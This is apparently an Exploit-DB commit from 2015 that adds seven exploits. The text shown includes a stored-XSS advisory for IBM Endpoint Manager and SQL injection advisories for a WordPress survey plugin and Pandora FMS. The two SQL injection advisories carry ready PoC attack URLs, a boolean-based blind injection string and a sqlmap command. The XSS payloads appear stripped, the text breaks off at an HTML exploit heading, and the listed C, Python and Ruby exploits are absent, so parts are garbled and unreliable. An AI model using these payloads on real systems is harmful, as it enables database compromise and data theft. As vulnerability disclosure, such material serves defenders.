From 06f9de32a22ac31d85cdcfd5a12f5ec1ac0c90a2 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 13 Feb 2015 08:36:33 +0000 Subject: [PATCH] Update: 2015-02-13 7 new exploits --- files.csv | 7 + platforms/cgi/webapps/36057.txt | 150 +++++++++++++++ platforms/php/webapps/36054.txt | 139 ++++++++++++++ platforms/php/webapps/36055.txt | 229 ++++++++++++++++++++++ platforms/php/webapps/36058.txt | 68 +++++++ platforms/windows/local/36052.c | 302 ++++++++++++++++++++++++++++++ platforms/windows/local/36053.py | 40 ++++ platforms/windows/remote/36056.rb | 131 +++++++++++++ 8 files changed, 1066 insertions(+) create mode 100755 platforms/cgi/webapps/36057.txt create mode 100755 platforms/php/webapps/36054.txt create mode 100755 platforms/php/webapps/36055.txt create mode 100755 platforms/php/webapps/36058.txt create mode 100755 platforms/windows/local/36052.c create mode 100755 platforms/windows/local/36053.py create mode 100755 platforms/windows/remote/36056.rb diff --git a/files.csv b/files.csv index 34a4385e8..eded41140 100755 --- a/files.csv +++ b/files.csv @@ -32492,3 +32492,10 @@ id,file,description,date,author,platform,type,port 36049,platforms/windows/remote/36049.html,"StudioLine Photo Basic 3.70.34.0 'NMSDVDXU.dll' ActiveX Control Arbitrary File Overwrite Vulnerability",2011-08-17,"High-Tech Bridge SA",windows,remote,0 36050,platforms/php/webapps/36050.txt,"WordPress Fast Secure Contact Form 3.0.3.1 'index.php' Cross Site Scripting Vulnerability",2011-08-17,"High-Tech Bridge SA",php,webapps,0 36051,platforms/php/webapps/36051.txt,"WordPress WP-Stats-Dashboard Plugin 2.6.5.1 Multiple Cross Site Scripting Vulnerabilities",2011-08-17,"High-Tech Bridge SA",php,webapps,0 +36052,platforms/windows/local/36052.c,"SoftSphere DefenseWall FW/IPS 3.24 - Privilege Escalation",2015-02-11,"Parvez Anwar",windows,local,0 +36053,platforms/windows/local/36053.py,"MooPlayer 1.3.0 'm3u' SEH Buffer Overflow",2015-02-11,"dogo h@ck",windows,local,0 +36054,platforms/php/webapps/36054.txt,"Wordpress Survey and Poll Plugin 1.1 - Blind SQL Injection",2015-02-11,"Securely (Yoo Hee man)",php,webapps,80 +36055,platforms/php/webapps/36055.txt,"Pandora FMS 5.1 SP1 - SQL Injection Vulnerability",2015-02-11,Vulnerability-Lab,php,webapps,8080 +36056,platforms/windows/remote/36056.rb,"Achat v0.150 beta7 Buffer Overflow",2015-02-11,metasploit,windows,remote,9256 +36057,platforms/cgi/webapps/36057.txt,"IBM Endpoint Manager - Stored XSS Vulnerability",2015-02-11,"RedTeam Pentesting",cgi,webapps,52311 +36058,platforms/php/webapps/36058.txt,"Wordpress Video Gallery 2.7.0 - SQL Injection Vulnerability",2015-02-12,"Claudio Viviani",php,webapps,0 diff --git a/platforms/cgi/webapps/36057.txt b/platforms/cgi/webapps/36057.txt new file mode 100755 index 000000000..63b36ec13 --- /dev/null +++ b/platforms/cgi/webapps/36057.txt @@ -0,0 +1,150 @@ +Advisory: Cross-Site Scripting in IBM Endpoint Manager Relay Diagnostics + Page + +During a penetration test, RedTeam Pentesting discovered that the IBM +Endpoint Manager Relay Diagnostics page allows anybody to persistently +store HTML and JavaScript code that is executed when the page is opened +in a browser. + + +Details +======= + +Product: IBM Endpoint Manager +Affected Versions: 9.1.x versions earlier than 9.1.1229, + 9.2.x versions earlier than 9.2.1.48 +Fixed Versions: 9.1.1229, 9.2.1.48 +Vulnerability Type: Cross-Site Scripting +Security Risk: medium +Vendor URL: http://www-03.ibm.com/software/products/en/endpoint-manager-family +Vendor Status: fixed version released +Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-013 +Advisory Status: published +CVE: CVE-2014-6137 +CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6137 + + +Introduction +============ + +IBM Endpoint Manager products - built on IBM BigFix technology - can +help you achieve smarter, faster endpoint management and security. These +products enable you to see and manage physical and virtual endpoints +including servers, desktops, notebooks, smartphones, tablets and +specialized equipment such as point-of-sale devices, ATMs and +self-service kiosks. Now you can rapidly remediate, protect and report +on endpoints in near real time. + +(from the vendor's homepage) + + +More Details +============ + +Systems that run IBM Endpoint Manager (IEM, formerly Tivoli Endpoint +Manager, or TEM) components, such as TEM Root Servers or TEM Relays, +typically serve HTTP and HTTPS on port 52311. There, the server or relay +diagnostics page is normally accessible at the path /rd. That page can +be accessed without authentication and lets users query and modify +different information. For example, a TEM Relay can be instructed to +gather a specific version of a certain Fixlet site by requesting a URL +such as the following: + +http://tem-relay.example.com:52311/cgi-bin/bfenterprise/ + BESGatherMirrorNew.exe/-gatherversion + ?Body=GatherSpecifiedVersion + &url=http://tem-root.example.com:52311/cgi-bin/bfgather.exe/actionsite + &version=1 + &useCRC=0 + +The URL parameter url is susceptible to cross-site scripting. When the +following URL is requested, the browser executes the JavaScript code +provided in the parameter: + +http://tem-relay.example.com:52311/cgi-bin/bfenterprise/ + BESGatherMirrorNew.exe/-gatherversion + ?Body=GatherSpecifiedVersion + &version=1 + &url=http://"> + &version=1 + &useCRC=0 + +The value of that parameter is also stored in the TEM Relay's site list, +so that the embedded JavaScript code is executed whenever the +diagnostics page is opened in a browser: + +$ curl http://tem-relay.example.com:52311/rd +[...] + + + + +Proof of Concept +================ + +http://tem-relay.example.com:52311/cgi-bin/bfenterprise/ + BESGatherMirrorNew.exe/-gatherversion + ?Body=GatherSpecifiedVersion&version=1 + &url=http://"> + &version=1 + &useCRC=0 + + +Fix +=== + +Upgrade IBM Endpoint Manager to version 9.1.1229 or 9.2.1.48. + + +Security Risk +============= + +As the relay diagnostics page is typically not frequented by +administrators and does not normally require authentication, it is +unlikely that the vulnerability can be exploited to automatically and +reliably attack administrative users and obtain their credentials. + +Nevertheless, the ability to host arbitrary HTML and JavaScript code on +the relay diagnostics page, i.e. on a trusted system, may allow +attackers to conduct very convincing phishing attacks. + +This vulnerability is therefore rated as a medium risk. + + +Timeline +======== + +2014-07-29 Vulnerability identified during a penetration test +2014-08-06 Customer approves disclosure to vendor +2014-09-03 Vendor notified +2015-01-13 Vendor releases security bulletin and software upgrade +2015-02-04 Customer approves public disclosure +2015-02-10 Advisory released + + +RedTeam Pentesting GmbH +======================= + +RedTeam Pentesting offers individual penetration tests, short pentests, +performed by a team of specialised IT-security experts. Hereby, security +weaknesses in company networks or products are uncovered and can be +fixed immediately. + +As there are only few experts in this field, RedTeam Pentesting wants to +share its knowledge and enhance the public knowledge with research in +security-related areas. The results are made available as public +security advisories. + +More information about RedTeam Pentesting can be found at +https://www.redteam-pentesting.de. + + +-- +RedTeam Pentesting GmbH Tel.: +49 241 510081-0 +Dennewartstr. 25-27 Fax : +49 241 510081-99 +52068 Aachen https://www.redteam-pentesting.de +Germany Registergericht: Aachen HRB 14004 +Geschäftsführer: Patrick Hof, Jens Liebchen \ No newline at end of file diff --git a/platforms/php/webapps/36054.txt b/platforms/php/webapps/36054.txt new file mode 100755 index 000000000..503d5f485 --- /dev/null +++ b/platforms/php/webapps/36054.txt @@ -0,0 +1,139 @@ +?################################################################# +# Exploit Title : Wordpress Survey and poll Blind SQL Injection + +# Data : 2015 – 02 - 11 + +# Exploit Author : Securely (Yoo Hee man) + +# Plugin : WordPress Survey and Poll + +# Vender Homepage : http://modalsurvey.sympies.com + +# Tested On : Windows XP / sqlmap_v1.0 + +# Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip + https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on) + +1. Detail +- This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php +- Settings.php file is no login cookie check +- "survey_id" variable is not sanitized + + +################################################################# +public function ajax_survey() + { + global $wpdb; + $survey_id = ""; + $survey_name = ""; + $survey_start_time = ""; + $survey_expiry_time = ""; + $survey_global = ""; + if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']); + else $survey_id = ""; + if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']); + else $survey_name = ""; + if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time'])); + else $survey_start_time = ""; + if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time'])); + else $survey_expiry_time = ""; + if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']); + else $survey_global = ""; + if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']); + else $survey_options = ""; + if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']); + else $survey_qa = ""; + $survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id); + if ($_REQUEST['sspcmd']=="save") + { + if ($survey_check>0) { + //update survey + $wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id)); + $wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id)); + $wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id)); + $qa_object = (array)json_decode(stripslashes($survey_qa)); + $qa_array = (array)$qa_object; + foreach($qa_array as $keyq=>$qr) + { + foreach($qr as $key=>$oa) + { + if ($key==0) + { + $wpdb->insert( $wpdb->prefix."wp_sap_questions", array( + 'id' => ($keyq+1), + 'survey_id' => $survey_id, + 'question' => $oa + ) ); + $qid = $wpdb->insert_id; + } + else + { + $oans = explode("->",$oa); + $wpdb->insert( $wpdb->prefix."wp_sap_answers", array( + 'survey_id' => $survey_id, + 'question_id' => ($keyq+1), + 'answer' => $oans[0], + 'count' => $oans[1], + 'autoid' => $key + ) ); + } + + } + } + die("updated"); + } + else { + //insert survey + $wpdb->insert( $wpdb->prefix."wp_sap_surveys", array( + 'id' => $survey_id, + 'name' => $survey_name, + 'options' => $survey_options, + 'start_time' => $survey_start_time, + 'expiry_time'=> $survey_expiry_time, + 'global'=> $survey_global + ) ); + $qa_object = (array)json_decode(stripslashes($survey_qa)); + $qa_array = (array)$qa_object; + foreach($qa_array as $keyq=>$qr) + { + foreach($qr as $key=>$oa) + { + if ($key==0) + { + $wpdb->insert( $wpdb->prefix."wp_sap_questions", array( + 'id' => ($keyq+1), + 'survey_id' => $survey_id, + 'question' => $oa + ) ); + $qid = $wpdb->insert_id; + } + else + { + $oans = explode("->",$oa); + $wpdb->insert( $wpdb->prefix."wp_sap_answers", array( + 'survey_id' => $survey_id, + 'question_id' => ($keyq+1), + 'answer' => $oans[0], + 'autoid' => $key + ) ); + } + + } + } + die('success'); + } +################################################################ + +2. POC +- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi] +- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare] + +3. Sqlmap +- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql + + +3. Solution: +Not patched + +4. Discovered By : Securely(Yoo Hee man) + god2zuzu@naver.com \ No newline at end of file diff --git a/platforms/php/webapps/36055.txt b/platforms/php/webapps/36055.txt new file mode 100755 index 000000000..0ebba36f4 --- /dev/null +++ b/platforms/php/webapps/36055.txt @@ -0,0 +1,229 @@ +Document Title: +=============== +Pandora FMS v5.1 SP1 - SQL Injection Web Vulnerability + + +References (Source): +==================== +http://vulnerability-lab.com/get_content.php?id=1355 + + +Release Date: +============= +2015-02-09 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1355 + + +Common Vulnerability Scoring System: +==================================== +6.3 + + +Product & Service Introduction: +=============================== +Pandora FMS is a monitoring Open Source software. It watches your systems and applications, and allows you to +know the status of any element of those systems. Pandora FMS could detect a network interface down, a defacement +in your website, a memory leak in one of your server application, or the movement of any value of the NASDAQ +new technology market. + + * Detect new systems in network. + * Checks for availability or performance. + * Raise alerts when something goes wrong. + * Allow to get data inside systems with its own lite agents (for almost every Operating System). + * Allow to get data from outside, using only network probes. Including SNMP. + + + * Get SNMP Traps from generic network devices. + * Generate real time reports and graphics. + * SLA reporting. + * User defined graphical views. + * Store data for months, ready to be used on reporting. + * Real time graphs for every module. + * High availability for each component. + * Scalable and modular architecture. + * Supports up to 2500 modules per server. + * User defined alerts. Also could be used to react on incidents. + * Integrated incident manager. + * Integrated DB management: purge and DB compaction. + * Multiuser, multi profile, multi group. + * Event system with user validation for operation in teams. + * Granularity of accesses and user profiles for each group and each user. + * Profiles could be personalized using up to eight security attributes without limitation on groups or profiles. + +Pandora FMS runs on any operating system, with specific agents for each platform, gathering data and sending it to a +server, it has specific agents for GNU/Linux, AIX, Solaris, HP-UX, BSD/IPSO, and Windows 2000, XP and 2003. + +(Copy of the Vendor Homepage: http://pandorafms.org/index.php?sec=project&sec2=home&lang=en) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerability in the official Pandora FMS monitoring web-application. + + +Vulnerability Disclosure Timeline: +================================== +2015-02-09: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Artica Sulociones Tecnologicas +Product: Pandora FMS - Monitoring Web Application 5.1 SP1 + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +A remote sql injection web vulnerability has been discovered in the official Pandora FMS v5.1 SP1 monitoring web-application. +The vulnerability allows remote attackers and low privileged application user accounts to unauthorized execute sql commands +that compromise the affected monitoring web-application and dbms. + +The vulnerability is located in the offset value of the index list context module. Remote attackers and low privileged application +user accounts are able to execute own sql commands via GET method request. The attacker can prepare a request through the `agentes` +module to inject own sql commands on the affected web-application dbms. + +The security risk of the sql injection vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 6.3. +Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account. +Successful exploitation of the remote sql injection results in dbms, web-server and web-application compromise. + +Request Method(s): + [+] GET + +Vulnerable Module(s): + [+] agentes + [+] agents_modules + +Vulnerable Parameter(s): + [+] offset + + +Proof of Concept (PoC): +======================= +The sql injection web vulnerabilities can be exploited by local low privileged application user accounts in godmode without user interaction. +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. + +PoC: +http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/estado_agente&refr=60&group_id=0&search=&sort_field=&sort=none&status=0&offset=-1%27-[SQL INJECTION VULNERABILITY!]'-- +http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&tab=gis&id_agente=349&refr=&period=2592000&refresh=Refresh%20path&offset=-1%27-[SQL INJECTION VULNERABILITY!]'-- +http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=0&search=&sort_field=&sort=none&status=-1&offset=-[SQL INJECTION VULNERABILITY!]'--&refr=60 +http://fms.localhost:8080/pandora/index.php?&sec=estado&sec2=operation/agentes/ver_agente&tab=gis&id_agente=349&refr=&period=-[SQL INJECTION VULNERABILITY!]'--&refresh=&offset=-[SQL INJECTION VULNERABILITY!]'-- +http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=4-1%27-[SQL INJECTION VULNERABILITY!]'-- +http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=-1%27-[SQL INJECTION VULNERABILITY!]'-- +http://fms.localhost:8080/pandora/index.php?extension_in_menu=estado&sec=extensions&sec2=extensions/agents_modules&refr=&offset=-1%27-[SQL INJECTION VULNERABILITY!]'-- + + +--- SQL Error Session Logs --- +SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY nombre' at line 1 ('SELECT id_agente_modulo,nombre FROM tagente_modulo WHERE ( 1 = ( SELECT is_admin FROM tusuario WHERE id_user = 'webuser' ) OR tagente_modulo.id_agente IN ( SELECT id_agente FROM tagente WHERE id_grupo IN ( 13 ) ) OR 0 IN ( SELECT id_grupo FROM tusuario_perfil WHERE id_usuario = 'webuser' AND id_perfil IN ( SELECT id_perfil FROM tperfil WHERE agent_view = 1 ) ) ) AND id_agente IN (-1') AND delete_pending = 0 AND delete_pending = "0" ORDER BY nombre') in /var/www/html/pandora/include/db/mysql.php +- +SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY nombre' at line 28 ('SELECT id_agente_modulo,nombre FROM tagente_modulo WHERE ( 1 = ( SELECT is_admin FROM tusuario WHERE id_user = 'webuser' ) OR tagente_modulo.id_agente IN ( SELECT id_agente FROM tagente WHERE id_grupo IN ( 13 ) ) OR 0 IN ( SELECT id_grupo FROM tusuario_perfil WHERE id_usuario = 'webuser' AND id_perfil IN ( SELECT id_perfil FROM tperfil WHERE agent_view = 1 ) ) ) AND id_agente IN (-1') AND delete_pending = 0 AND delete_pending = "0" ORDER BY nombre') in /var/www/html/pandora/include/db/mysql.php +- +SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 3 ('SELECT id_agente,id_grupo,id_os,ultimo_contacto,intervalo,comentarios description,quiet,normal_count,warning_count,critical_count,unknown_count,notinit_count,total_count,fired_count FROM tagente WHERE `id_grupo` IN ("13") AND `disabled` = 0 AND 1 = 1 AND ( 1 = 1) ORDER BY nombre COLLATE utf8_general_ci ASC, nombre COLLATE utf8_general_ci LIMIT -1, 20 ') in /var/www/html/pandora/include/db/mysql.php on line 74 +- +SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 3 ('SELECT id_agente,id_grupo,id_os,ultimo_contacto,intervalo,comentarios description,quiet,normal_count,warning_count,critical_count,unknown_count,notinit_count,total_count,fired_count FROM tagente WHERE `id_grupo` IN ("13") AND `disabled` = 0 AND 1 = 1 AND ( 1 = 1) ORDER BY nombre COLLATE utf8_general_ci ASC, nombre COLLATE utf8_general_ci LIMIT -1, 20 ') in /var/www/html/pandora/include/db/mysql.php on line 74 +- +SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY utimestamp DESC LIMIT 10' at line 4 ('SELECT * FROM tevento WHERE id_agente = -1' AND estado <> 1 ORDER BY utimestamp DESC LIMIT 10') in /var/www/html/pandora/include/db/mysql.php on line 74 +- +SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 ('SELECT notinit_count FROM tagente WHERE id_agente = -1'') in /var/www/html/pandora/include/db/mysql.php + + +PoC: Exploit (html & js) + + + +Pandora FMS - SQL Injection Exploit +